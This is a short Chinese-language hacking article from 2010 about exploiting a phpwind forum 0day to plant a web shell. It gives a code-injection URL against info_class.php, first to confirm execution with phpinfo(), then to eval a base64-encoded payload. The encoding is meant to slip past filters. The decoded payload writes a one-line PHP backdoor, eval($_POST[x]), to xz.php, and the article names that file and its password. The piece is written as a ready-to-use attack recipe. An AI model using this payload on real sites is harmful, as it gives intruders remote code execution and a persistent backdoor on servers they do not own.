开发学院网络安全黑客技术 phpwind最新0day 拿不到shell的解决办法阅读

phpwind最新0day 拿不到shell的解决办法

　2010-10-13 02:11:57　来源：WEB开发网　　　

核心提示：PHPWIND的0day很多人只能phpinfo想写shell就提示这个提示那个(貌似是在LINUX环境下)其实只要用base64加密一下语句就可以了利用方法http://bbs.xxx.com/data/bbscache/info_class.php?c=phpinfo();确定能正常显示phpinfo之后http:

PHPWIND的0day很多人只能phpinfo想写shell就提示这个提示那个(貌似是在LINUX环境下)

其实只要用base64加密一下语句就可以了

利用方法

http://bbs.xxx.com/data/bbscache/info_class.php?c=phpinfo();

确定能正常显示phpinfo之后

http://bbs.xxx.com/data/bbscache/info_class.php?c=@eval(base64_decode($_GET[chr(122)]));&z=ZnB1dHMoZm9wZW4oJ3h6LnBocCcsJ2EnKSwnPD9waHAgZXZhbCgkX1BPU1

RbeF0pPz4nKTs=

生成一句话http://bbs.xxx.com/data/bbscache/xz.php 密码x